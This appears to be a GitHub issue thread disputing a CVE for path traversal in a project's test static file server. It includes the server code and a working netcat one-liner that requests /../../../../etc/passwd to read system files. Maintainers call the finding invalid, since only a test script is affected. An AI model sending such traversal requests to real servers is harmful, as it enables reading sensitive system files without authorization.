Not a vulnerability, the CVE was created by the "finder" without any coordination and should be deleted.

@cure53 When can we expect a release of this patch ? NexusIQ scans flagging this as a high finding.

It's an invalid finding, the CVE was revoked last week.

@cure53 CVE-2025-48050 is reported. Is this fixed now?

This was never a valid finding, however we will release 3.2.6. soon for other reasons.

The CVE was released without coordination, and we had to clean that mess up. Please direct any feedback to @odaysec who decided to file the non-sense CVE and thereby cause all the kerfuffle.

Hello. I would like to reproduce the vulnerability in order to proove it presence.

I can not go out of process.cwd() in:

filename = path.join(process.cwd(), uri);

When I do

http://localhost:8000/../../README.md

It stops the path of ../ at the currrent directory.

and when I do:

http://localhost:8000//etc/passwd

it does not directly goes to /etc/password

I debugged with:

/* jshint globalstrict:true, node:true */
'use strict';

var http = require('http'),
  url = require('url'),
  path = require('path'),
  fs = require('fs'),
  domain = require('domain').create();

var mimeTypes = {
  html: 'text/html',
  json: 'application/json',
  js: 'text/javascript',
  css: 'text/css',
};

// *VERY* minimal static file server
http
  .createServer(function (req, res) {
    var uri = url.parse(req.url).pathname,
      filename;

    if (uri === '/test/') {
      uri = '/test/index.html';
    }
    filename = path.join(process.cwd(), uri);

    console.log(filename);
    console.log("uri: " + uri);

   console.log(path.join(process.cwd(), '/etc/passwd'));


    domain.on('error', function () {
      res.writeHead(404, { 'Content-Type': 'text/plain' });
      res.end('404 Not Found\n');
    });
    domain.run(function () {
      var mimeType =
        mimeTypes[path.extname(filename).split('.')[1]] || 'text/plain';
      res.writeHead(200, { 'Content-Type': mimeType });
      fs.createReadStream(filename).pipe(res);
    });
  })
  .listen(8000);
console.log(
  'Test server is running on \x1B[1m\x1B[32mhttp://localhost:8000/test/\x1B[39m, press Ctrl-C to stop.'
);

Can I have the full path please @odaysec ?

it sounds to be parser with

var uri = url.parse(req.url).pathname,
      filename;

I am going to read the parser and then I will tell you.

It is done! I tested! Exploit fully functional. Sorry for blaming @odaysec . exploit coming to publish in the next seconds.

Just copy and past this:

nc localhost 8000
GET /../../../../../etc/passwd HTTP/1.1
Host: localhost

The 2 next lines are importants :) The browser change the url itself... We have to use netcat.

I also have to ensure it is not my client side GET ../ ... that did everything.

Wonderfull! Just do echo -e "GET /../../../../etc/passwd HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 8000 it worls perfectly 👍

Thank you very much to @odaysec for the reliable exploit.

@cure53 Thank you also to you for organizing the release (or advice for). You sound much more experienced than us. I did not found the self intro in the commits from @cure53 itself. Might be not deservable for a CVE but if he says he founds his own mistake, it is already a great source of interest for people who want to see how vulns appear in the wild.

I am not experienced in CVE publication. Does someone knows where is the proof in commit history that @odaysec has introduced the vuln please? I am also curious.

I am very confused with the commit where OdaySec has introduced the vulnerability.

I did:

$ git log --author=".*oday.*"
commit e9afd609397aa31b0747a766504f698fcb6ad0f7
Author: Zeroday BYTE <[email protected]>
Date:   Wed May 14 06:18:26 2025 +0700

    Update server.js

commit e242b4343b36e414db6118f20eccd574af7dd5ad
Author: Soheil Khodayari <[email protected]>
Date:   Tue Aug 16 20:05:33 2022 +0200

    Extra DOM Clobbering protection via SANITIZE_NAMED_PROPS config

And did not found no more.

@cure53 I am also very confused. Do you think he did not found?

@gogo2464 The "vulnerability" affects a test script that has no impact on any users or developers, please check the info available for more clarity.

@odaysec You have been permanently banned from the project and reported to Github for misinformation.